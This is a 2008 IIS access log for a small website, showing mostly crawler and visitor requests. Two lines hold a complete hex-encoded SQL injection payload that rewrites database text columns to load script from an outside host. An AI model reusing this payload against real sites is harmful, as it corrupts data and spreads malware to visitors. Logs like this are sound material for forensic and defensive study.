#Software: Microsoft Internet Information Services 5.0
#Version: 1.0
#Date: 2008-09-13 02:29:38
#Fields: date time c-ip cs-username s-ip s-port cs-method cs-uri-stem cs-uri-query sc-status cs(User-Agent) 
2008-09-13 02:29:38 69.58.178.40 - 66.191.67.130 80 GET /robots.txt - 404 Mozilla/5.0+(X11;+U;+Linux+i686;+en-US;+rv:1.7.12;+ips-agent)+Gecko/20050922+Fedora/1.0.7-1.1.fc4+Firefox/1.0.7
2008-09-13 02:29:39 69.58.178.40 - 66.191.67.130 80 GET /cabandvanservice.htm - 200 Mozilla/5.0+(X11;+U;+Linux+i686;+en-US;+rv:1.7.12;+ips-agent)+Gecko/20050922+Fedora/1.0.7-1.1.fc4+Firefox/1.0.7
2008-09-13 02:29:40 69.58.178.40 - 66.191.67.130 80 GET /cabandvanservice2.htm - 200 Mozilla/5.0+(X11;+U;+Linux+i686;+en-US;+rv:1.7.12;+ips-agent)+Gecko/20050922+Fedora/1.0.7-1.1.fc4+Firefox/1.0.7
2008-09-13 02:29:42 69.58.178.40 - 66.191.67.130 80 GET /cabandvanservice.htm - 200 Mozilla/5.0+(X11;+U;+Linux+i686;+en-US;+rv:1.7.12;+ips-agent)+Gecko/20050922+Fedora/1.0.7-1.1.fc4+Firefox/1.0.7
2008-09-13 09:13:19 77.91.224.17 - 66.191.67.130 80 GET /robots.txt - 404 Yanga+WorldSearch+Bot+v1.1/beta+(http://www.yanga.co.uk/)
2008-09-13 10:35:23 208.80.194.41 - 66.191.67.130 80 GET /cabandvanservice.htm - 200 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+YComp+5.0.0.0;+SV1;+FunWebProducts;+.NET+CLR+1.0.3705;+.NET+CLR+2.0.50727;+.NET+CLR+3.0.04506.30)
2008-09-13 15:07:28 97.81.155.125 - 66.191.67.130 80 GET /cabandvanservice.htm ';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S); 200 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+FunWebProducts;+.NET+CLR+1.1.4322;+IEMB3;+IEMB3)
2008-09-13 15:07:28 97.81.155.125 - 66.191.67.130 80 GET /cabandvanservice.htm ;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S); 200 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+FunWebProducts;+.NET+CLR+1.1.4322;+IEMB3;+IEMB3)
2008-09-13 18:29:42 66.249.84.15 - 66.191.67.130 80 GET /cabandvanservice.htm - 200 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1;+.NET+CLR+1.1.4322;+.NET+CLR+2.0.50727;+.NET+CLR+3.0.04506.30;+Google-TR-5)
2008-09-13 18:29:42 66.249.84.15 - 66.191.67.130 80 GET /style.css - 200 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1;+.NET+CLR+1.1.4322;+.NET+CLR+2.0.50727;+.NET+CLR+3.0.04506.30;+Google-TR-5)
2008-09-13 18:29:56 70.9.44.170 - 66.191.67.130 80 GET /logo_400x275.jpg - 200 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1;+.NET+CLR+1.1.4322;+.NET+CLR+2.0.50727;+.NET+CLR+3.0.04506.30;+Google-TR-5)
2008-09-13 18:29:56 70.9.44.170 - 66.191.67.130 80 GET /airport3_400x200.jpg - 200 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1;+.NET+CLR+1.1.4322;+.NET+CLR+2.0.50727;+.NET+CLR+3.0.04506.30;+Google-TR-5)
2008-09-13 18:29:58 70.9.44.170 - 66.191.67.130 80 GET /airport_500x250.jpg - 200 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1;+.NET+CLR+1.1.4322;+.NET+CLR+2.0.50727;+.NET+CLR+3.0.04506.30;+Google-TR-5)
2008-09-13 18:40:06 96.21.22.118 - 66.191.67.130 80 GET /cabandvanservice.htm - 200 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+1.1.4322;+.NET+CLR+3.0.04506.30;+.NET+CLR+2.0.50727)
2008-09-13 18:40:06 96.21.22.118 - 66.191.67.130 80 GET /style.css - 200 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+1.1.4322;+.NET+CLR+3.0.04506.30;+.NET+CLR+2.0.50727)
2008-09-13 18:40:06 96.21.22.118 - 66.191.67.130 80 GET /CLOUDS.JPG - 200 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+1.1.4322;+.NET+CLR+3.0.04506.30;+.NET+CLR+2.0.50727)
2008-09-13 18:40:06 96.21.22.118 - 66.191.67.130 80 GET /logo_400x275.jpg - 200 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+1.1.4322;+.NET+CLR+3.0.04506.30;+.NET+CLR+2.0.50727)
2008-09-13 18:40:06 96.21.22.118 - 66.191.67.130 80 GET /airport3_400x200.jpg - 200 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+1.1.4322;+.NET+CLR+3.0.04506.30;+.NET+CLR+2.0.50727)
2008-09-13 18:40:06 96.21.22.118 - 66.191.67.130 80 GET /airport_500x250.jpg - 200 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+1.1.4322;+.NET+CLR+3.0.04506.30;+.NET+CLR+2.0.50727)
2008-09-13 18:40:06 96.21.22.118 - 66.191.67.130 80 GET /TRANSPARENT - 404 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+1.1.4322;+.NET+CLR+3.0.04506.30;+.NET+CLR+2.0.50727)
2008-09-13 18:40:06 96.21.22.118 - 66.191.67.130 80 GET /favicon.ico - 404 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+1.1.4322;+.NET+CLR+3.0.04506.30;+.NET+CLR+2.0.50727)
2008-09-13 19:04:51 38.108.180.15 - 66.191.67.130 80 GET /robots.txt - 404 Mozilla/5.0+(compatible;+ScoutJet;++http://www.scoutjet.com/)
2008-09-13 19:05:07 38.108.180.15 - 66.191.67.130 80 GET /cabandvanservice.htm - 200 Mozilla/5.0+(compatible;+ScoutJet;++http://www.scoutjet.com/)
2008-09-13 19:05:24 38.108.180.15 - 66.191.67.130 80 GET /favicon.ico - 404 Mozilla/5.0+(compatible;+ScoutJet;++http://www.scoutjet.com/)
2008-09-13 19:13:31 77.91.224.17 - 66.191.67.130 80 GET /robots.txt - 404 Yanga+WorldSearch+Bot+v1.1/beta+(http://www.yanga.co.uk/)
2008-09-13 21:04:41 74.6.17.163 - 66.191.67.130 80 GET /robots.txt - 404 Mozilla/5.0+(compatible;+Yahoo!+Slurp;+http://help.yahoo.com/help/us/ysearch/slurp)
2008-09-13 21:04:41 74.6.17.163 - 66.191.67.130 80 GET /cabandvanservice2.htm - 200 Mozilla/5.0+(compatible;+Yahoo!+Slurp;+http://help.yahoo.com/help/us/ysearch/slurp)
